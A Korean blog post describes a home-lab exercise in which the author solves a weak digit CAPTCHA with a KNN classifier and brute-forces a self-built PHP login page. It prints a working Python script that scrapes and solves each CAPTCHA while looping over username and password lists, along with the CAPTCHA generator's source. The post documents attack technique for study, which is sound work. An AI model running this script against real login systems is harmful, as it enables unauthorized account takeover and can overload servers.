-
Captcha - Brute Force(KNN)Web - Security/Login 2023. 7. 19. 12:48
PHP, MySQL로 간단한 로그인 페이지를 구현하였으며 PHP를 이용하여 Captcha 이미지를 생성해 내도록 하였다
실제 사이트에 사용하기엔 보안이 매우 취약하므로 사용하지 않아야 하며
Brute Force를 쉽게 하기위해 0부터 9까지의 숫자만 사용하였다본 실습은 모두 본인이 소유한 서버와 사이트를 대상으로 진행되었습니다.
KNN 이란?
KNN은 최근접 이웃법으로 분류 문제에 사용하는 알고리즘이다
새로운 데이터가 들어왔을 때 기존 데이터의 그룹 중 어떤 그룹에 속하는지 분류하는 문제에 주로 이용된다로그인 페이지
위와 같이 로그인 페이지와 캡차 이미지를 간단히 구현했다
훈련 데이터 생성
로그인 페이지에서 생성된 캡차 이미지를 다운받는다이때 0부터 9까지 모든 숫자가 있어야 하므로 여러 장 다운로드한다
훈련 데이터를 만들기 위해 다운받은 이미지를 이용해 아래와 같이 6, 6, 8, 7, 7 로 각각 1개씩 동일한 사이즈로 만든다
0부터 9까지 만들기 위하여 1.png , 2.png , 3.png , 4.png 모두 같은 방식으로 훈련 데이터를 생성한다
모두 한 뒤 위와 같이 0번 폴더에는 숫자 0의 사진이, 1번 폴더에는 숫자 1의 사진이 들어가도록 한다
위와 같이 훈련 데이터가 모두 준비되었다
만들어진 데이터를 이용하여 npz 파일을 생성한다
위와 같이 훈련 데이터가 정상적으로 생성되었다
다운받은 1.png 이미지를 대상으로 npz 파일을 이용해 이미지에 있는 숫자를 추출한다
캡차 이미지의 숫자 추출에 성공했으니 자동화 공격으로 넘어간다
Brute Force
아래와 같이 파이썬을 이용해 Brute Force 코드를 작성하였다import requests from bs4 import BeautifulSoup import os import run import time user_list = ['1337', 'admins', 'gordonb', 'pablo', 'smithy'] password_list = ['brute', 'gogo', 'groot', 'choi', 'security', 'password'] try_num = 0 # 시도 횟수 for user in user_list: for password in password_list: target = "http://192.168.64.6/login/login_5/login_5.php" target_check = "http://192.168.64.6/login/login_5/login_5check.php" response = requests.get(target) html_content = response.content soup = BeautifulSoup(html_content, 'html.parser') captcha_image = soup.find('img', {'alt': 'CAPTCHA 이미지'}) image_url = captcha_image['src'] base_url = target.rsplit("/", 1)[0] + "/" absolute_image_url = base_url + image_url response = requests.get(absolute_image_url) save_path = '이미지 저장 경로' with open(os.path.join(save_path, f'captcha{try_num}.png'), 'wb') as f: f.write(response.content) captcha_number = run.knn_brute("이미지 저장 경로"+f'captcha{try_num}.png') # 로그인 페이지에 있는 캡차 이미지의 숫자 추출 params = {'username' : user, 'passwd' : password, 'captcha' : str(captcha_number)} response = requests.get(target_check, params=params) requested_url = response.request.url print("Requested URL:", requested_url) print(response.text) print() if '성공' in response.text: print('시도 횟수 : ', try_num) print('captcha 번호 : ' , captcha_number) print('아이디 : ', user) print('비밀번호 : ', password) print() break try_num += 1 time.sleep(1)
아이디 5개, 비밀번호 6개로 테스트를 실시하였다
무차별적으로 요청을 보내니 서버가 다운되어서 1초의 간격을 두고 요청을 보냈다
위와 같이 로그인에 성공했다
내가 지정한 폴더로 캡차 이미지가 정상적으로 다운로드되었고
다운받은 이미지의 숫자를 추출하여 로그인 요청을 정상적으로 보내는 데 성공했다captcha.php
session_start(); // CAPTCHA 이미지 크기 설정 $imageWidth = 200; $imageHeight = 50; // 랜덤한 숫자 문자열 생성 $randomString = ''; $characters = '0123456789'; $charactersLength = strlen($characters); for ($i = 0; $i < 5; $i++) { $randomString .= $characters[rand(0, $charactersLength - 1)]; } // 생성된 문자열을 세션에 저장 $_SESSION['captcha_string'] = $randomString; // 이미지 생성 $image = imagecreatetruecolor($imageWidth, $imageHeight); $bgColor = imagecolorallocate($image, 125, 125, 255); // 배경색 설정 $textColor = imagecolorallocate($image, 0, 0, 0); // 문자색 설정 // 이미지에 문자열 그리기 imagefill($image, 0, 0, $bgColor); imagestring($image, 5, 50, 20, $randomString, $textColor); // 이미지 출력 header('Content-type: image/png'); imagepng($image); imagedestroy($image);
아래 영상을 참고하여 Captcha Brute Force를 진행하였습니다
영상에 있는 코드와 다른 부분이 존재하며 Captcha Hacking의 전체적인 흐름은 같습니다
참고자료
중급 Captcha Hacking 1 ~ 5 - 해킹 자동화 [ Python 데이터 분석과 이미지 처리 ] ( CTF Captcha Hacking Project )728x90'Web - Security > Login' 카테고리의 다른 글
[JS, PHP, MYSQL] 로그인, 로그인 우회 - 3.2 (0) 2023.05.10 [JS, PHP, MYSQL] 로그인, 로그인 우회 - 3.1 (0) 2023.05.10 [JS, PHP, MYSQL] 로그인, 로그인 우회 - 2.2 (0) 2023.05.04 [JS, PHP, MYSQL] 로그인, 로그인 우회 - 2.1 (0) 2023.05.04 로그인 인증 - 쿠키, 세션, 세션아이디 (0) 2023.04.29